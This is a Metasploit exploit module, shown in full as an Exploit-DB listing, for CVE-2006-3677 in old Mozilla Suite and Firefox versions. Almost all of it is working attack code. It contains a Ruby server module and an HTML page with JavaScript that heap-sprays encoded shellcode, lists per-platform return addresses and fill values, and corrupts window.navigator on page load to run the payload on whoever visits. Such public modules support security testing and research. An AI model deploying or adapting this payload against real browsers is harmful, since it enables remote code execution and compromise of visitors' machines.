Mozilla Suite/Firefox < 1.5.0.5 - Navigator Object Code Execution (Metasploit)

Related Vulnerabilities: CVE-2006-3677  
Publish Date: 25 Jul 2006
Author: H D Moore
                							

                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core/constants'
require 'msf/core'


class Metasploit3 &lt; Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    =&gt; HttpClients::FF,
		:javascript =&gt; true,
		:rank       =&gt; NormalRanking, # reliable memory corruption
		:vuln_test  =&gt; %Q|
			is_vuln = false;
			if (window.navigator.javaEnabled &amp;&amp; window.navigator.javaEnabled()){
				is_vuln = true; 
			}
			|,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'Mozilla Suite/Firefox Navigator Object Code Execution',
			'Description'    =&gt; %q{
				This module exploits a code execution vulnerability in the Mozilla
			Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
			requires the Java plugin to be installed.

			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;  ['hdm'],
			'Version'        =&gt; '$Revision$',
			'References'     =&gt; 
				[
					['CVE',    '2006-3677'],
					['OSVDB',  '27559'],
	  				['BID',    '19192'],
					['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
					['URL',    'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
				],
			'Payload'        =&gt;
				{
					'Space'    =&gt; 512,
					'BadChars' =&gt; "",
				},
			'Targets'        =&gt;
				[
					[ 'Firefox 1.5.0.4 Windows x86', 
						{
							'Platform' =&gt; 'win',
							'Arch' =&gt; ARCH_X86,
							'Ret'  =&gt; 0x08000800,
							'Fill' =&gt; "%u0800",
						}
					],
					[ 'Firefox 1.5.0.4 Linux x86', 
						{
							'Platform' =&gt; 'linux',
							'Arch' =&gt; ARCH_X86,
							'Ret'  =&gt; -0x58000000,
							'Fill' =&gt; "%ua8a8",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X PPC', 
						{
							'Platform' =&gt; 'osx',
							'Arch' =&gt; ARCH_PPC,
							'Ret'  =&gt; 0x0c000000,
							'Fill' =&gt; "%u0c0c",
						}
					],
					[ 'Firefox 1.5.0.4 Mac OS X x86', 
						{
							'Platform' =&gt; 'osx',
							'Arch' =&gt; ARCH_X86,
							'Ret'  =&gt; 0x1c000000,
							'Fill' =&gt; "%u1c1c",
						}
					],																
				],
			'DisclosureDate' =&gt; 'Jul 25 2006'
			))
	end

	def on_request_uri(cli, request)
	
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' =&gt; 'text/html' })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		return %Q|
&lt;html&gt;&lt;head&gt;
&lt;script&gt;
	function Exploit() {
		if (window.navigator.javaEnabled) {
			var shellcode = unescape("#{enc_code}");
			var b = unescape("#{target['Fill']}");
			while (b.length &lt;= 0x400000) b+=b;

			var c = new Array();
			for (var i =0; i&lt;36; i++) {
				c[i] = 
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode;
			}

			window.navigator = (#{target['Ret']} / 2);
			try {
				java.lang.reflect.Runtime.newInstance(
					java.lang.Class.forName("java.lang.Runtime"), 0
				);
			}catch(e){

			}
		}
	}
&lt;/script&gt;
&lt;/head&gt;&lt;body onload='Exploit()'&gt;Please wait...&lt;/body&gt;&lt;/html&gt;
		|
	end
end